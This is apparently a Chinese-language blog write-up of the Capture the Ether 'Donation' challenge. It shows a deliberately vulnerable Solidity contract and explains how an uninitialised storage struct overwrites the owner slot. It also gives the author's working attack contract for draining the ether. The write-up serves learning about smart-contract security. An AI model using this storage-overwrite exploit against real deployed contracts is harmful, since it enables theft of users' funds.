抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Donation

1. 题目

  • 1.1 A candidate you don’t like is accepting campaign contributions via the smart contract below.

    To complete this challenge, steal the candidate’s ether.

  • 1.2 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pragma solidity ^0.4.21;

contract DonationChallenge {

struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;

address public owner;

function DonationChallenge() public payable {
require(msg.value == 1 ether);

owner = msg.sender;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}


function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);

Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;

donations.push(donation);
}

function withdraw() public {
require(msg.sender == owner);

msg.sender.transfer(address(this).balance);
}
}

2.分析

  • 2.1 本题的通过要求就是需要我们将合约中的钱全部偷走,合约中能够进行转钱操作的只有withdraw函数,所以我们只有将 require(msg.sender == owner) 这个校验通过才可以将合约中所有的钱转走
  • 2.2 合约中有结构体,这点需要注意,分析源码可知 slot0 的位置存储的是 donations(里面具体的元素的存储位置在哪,之前遇到过,推荐文献),slot1 的位置存储的是 owner;但在函数donate 中 有一个为指明存储方式的声明语句Donation donation,这个结构体的声明默认是 storage 类型的,是需要上链的,当调用此函数的时候,会覆盖其他全局变量的插槽。
  • 2.3 这恰好为我们篡改合约所有权提供了可能性,只要将 slot1位置的值覆盖为我们自己的账户地址即可成功执行withdraw函数了
  • 2.4 需要在 donate 函数中修改 slot1的值,通过简单的数学计算就可以了
  • 我不知道为什么我的这个攻击合约不行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
contract Hack {

DonationChallenge challenge;
uint256 public etherAmount;

function Hack(DonationChallenge _challenge) public {
challenge = _challenge;
}

function computer(uint256 _address) public returns(uint256) {

// 记录下我的地址,并赋值给etherAmount,方便函数的调用
etherAmount = _address;

//算出我要支付多少wei
return (_address / (10 ** 36));
}

function att() public payable {
//修改slot1 即 owner的值
challenge.donate(etherAmount);
// 偷钱
challenge.withdraw;
}

function getAddress() external view returns(address) {
return msg.sender;
}
}

tips:问了同学才知道原因:①是因为没给题目合约中的donate函数发送主币,过不了donation中的语句 ②withdraw函数中的 require(msg.sender == owner);校验过不去,因为在智能合约中,谁调用withdraw,谁就是msg.sender;合约调用,那么msg.sender就是合约 这样一来 challenge.withdraw; 中的msg.sender就是 challenge,所以就会报错

在0.4的编译器中发送主币的方式是: challenge.donate.value(msg.value)(etherAmount);

1
2
3
4
5
6
7
8
function att() public payable {
//修改slot1 即 owner的值
//// address(nameReg).call.value(1 ether)(abi.encodeWithSignature("register(string)", "MyName"));
challenge.donate.value(msg.value)(etherAmount);
// 偷钱
// challenge.withdraw;
}

这样改就可以成功修改合约的所有者了

3. 解题

  • 3.1 部署 DonationChallenge 和 Hack 合约

  • 3.2 攻击之前,可以看到合约所有者不是本人

  • image-20240412144357131

  • 3.3 计算出我需要支付的费用,参数是我的账户地址

  • image-20240412144407888

  • 3.4 以我的账户地址为参数,计算结果为 msg.value 调用 Donation 函数,再执行 withdrawn函数,将钱取走,再验证isComplete的值

  • image-20240412144417829

  • image-20240412144428294

  • 成功

评论



政策 · 统计 | 本站使用 Volantis 主题设计